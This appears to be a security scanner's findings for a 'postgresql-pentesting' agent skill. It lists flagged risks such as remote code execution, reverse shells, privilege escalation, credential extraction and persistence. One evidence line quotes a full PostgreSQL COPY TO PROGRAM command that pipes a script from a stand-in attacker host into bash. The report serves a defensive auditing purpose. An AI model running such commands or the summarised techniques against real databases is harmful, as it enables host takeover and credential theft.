The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: Documentation for fetching and executing remote scripts via piped shell commands.
Evidence: COPY (SELECT '') TO PROGRAM 'curl https://ATTACKER/rev.sh | bash'; in references/postgresql-techniques.md.
[COMMAND_EXECUTION]: Multiple techniques for arbitrary command execution using PostgreSQL built-in features and external languages.
Evidence: COPY FROM PROGRAM utilized for reverse shells and system information gathering.
Evidence: Use of procedural languages like PL/Python and PL/Perl to execute shell commands.
[PRIVILEGE_ESCALATION]: Extensive instructions for gaining elevated database and host privileges.
Evidence: Techniques for bypassing local authentication and gaining SUPERUSER status.
Evidence: Exploits for platform-specific environments like AWS RDS, GCP Cloud SQL, and Supabase.
[DATA_EXFILTRATION]: Methods to read and send sensitive data to attacker-controlled servers.
Evidence: Extraction of /etc/passwd, database user hashes (pg_shadow), and system configuration files.
[PERSISTENCE]: Instructions for creating long-term access to target systems.
Evidence: Use of event triggers to establish automated backdoors.
Evidence: Creation of hidden roles with administrative privileges.
[OBFUSCATION]: Techniques to bypass security monitoring and WAF filters.
Evidence: Use of SQL character codes (CHR()) and string concatenation to conceal malicious commands.
[DYNAMIC_EXECUTION]: Compilation and loading of malicious code during execution.
Evidence: Inclusion of C code for a malicious extension designed to spawn a reverse shell, with instructions to compile it into a shared object (.so) and load it into the database.
[CREDENTIALS_UNSAFE]: Instructions for extracting sensitive authentication data.
Evidence: Techniques for reading ~/.pgpass, pg_shadow hashes, and extracting passwords from pgAdmin SQLite databases.

postgresql-pentesting